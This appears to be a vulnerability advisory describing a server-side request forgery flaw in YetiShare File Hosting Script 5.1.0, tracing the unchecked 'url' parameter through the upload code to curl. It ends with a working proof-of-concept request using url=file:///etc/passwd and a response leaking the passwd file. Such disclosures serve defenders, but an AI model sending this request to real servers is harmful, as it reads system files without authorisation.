# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery # Date: 09.01.2021 # Author: Numan Türle # Vendor Homepage: https://mfscripts.com # Software Link: https://yetishare.com # Version: v5.1.0 # Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4 Summary --------- YetiShare is script the file hosting. This script has remote file upload feature. Since sufficient security measures are not taken in the remote file upload area, SSRF vulnerability available. Description --------- When a new upload request is received by the user, the following function block is called first. app/tasks/process_remote_file_downloads.cron.php ------------------------------------------------ // include plugin code $url = $urlDownloadData['url']; $params = PluginHelper::includeAppends('url_upload_handler', array( 'url' => $url, 'rowId' => 0, 'urlDownloadData' => $urlDownloadData, ) ); $url = $params['url']; // start download $upload_handler->handleRemoteUrlUpload($url); ------------------------------------------------ The url parameter received as input from the user in the called function blog is sent to the "handleRemoteUrlUpload" function. /Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/ Uploader.class.php ------------------------------------------------------------------ public function handleRemoteUrlUpload($url, $rowId = 0) { ..... $remoteFileDetails = $this->getRemoteFileDetails($url); $remoteFilesize = (int) $remoteFileDetails['bytes']; if ($remoteFilesize > $this->options['max_file_size']) { .....ERROR MSG } else { // look for real filename if passed in headers if (strlen($remoteFileDetails['real_filename'])) { $realFilename = trim(current(explode(';', $remoteFileDetails['real_filename']))); if (strlen($realFilename)) { $this->fileUpload->name = $realFilename; } } // try to get the file locally $localFile = $this->downloadRemoteFile($url, true); ------------------------------------------------------------------ In this function that is called, the details of the file are taken first and if the bytes is not larger than the max_file_size, the "downloadRemoteFile" function will go to the download. ------------------------------------------------------------------ public function getRemoteFileDetails($url) { ..... $execute = curl_exec($ch); // check if any error occured if (!curl_errno($ch)) { $rs['bytes'] = (int) curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD); ..... ------------------------------------------------------------------ ------------------------------------------------------------------ public function downloadRemoteFile($url, $streamResponse = false) { ..... // use curl if (function_exists('curl_init')) { // get file via curl $fp = fopen($tmpFullPath, 'w+'); if ($ch === null) { $ch = curl_init(); } curl_setopt($ch, CURLOPT_URL, $url); ..... curl_setopt($ch, CURLOPT_FILE, $fp); if (curl_exec($ch) === false) { // log error LogHelper::error('Failed getting url. Error: ' . curl_error($ch) . ' (' . $url . ')'); return false; } $status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); ..... } ..... ------------------------------------------------------------------ POC --------- GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1 Host: target.com Connection: close Accept: */* Cookie: HERE_COOKIE Response --------- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Connection: close Pragma: no-cache Content-Length: XXX ...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082, "type":"text\/plain; charset=us-ascii","error":null,"rowId":0, "requestUrl":"file:\/\/\/etc\/passwd","url":.... .......... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync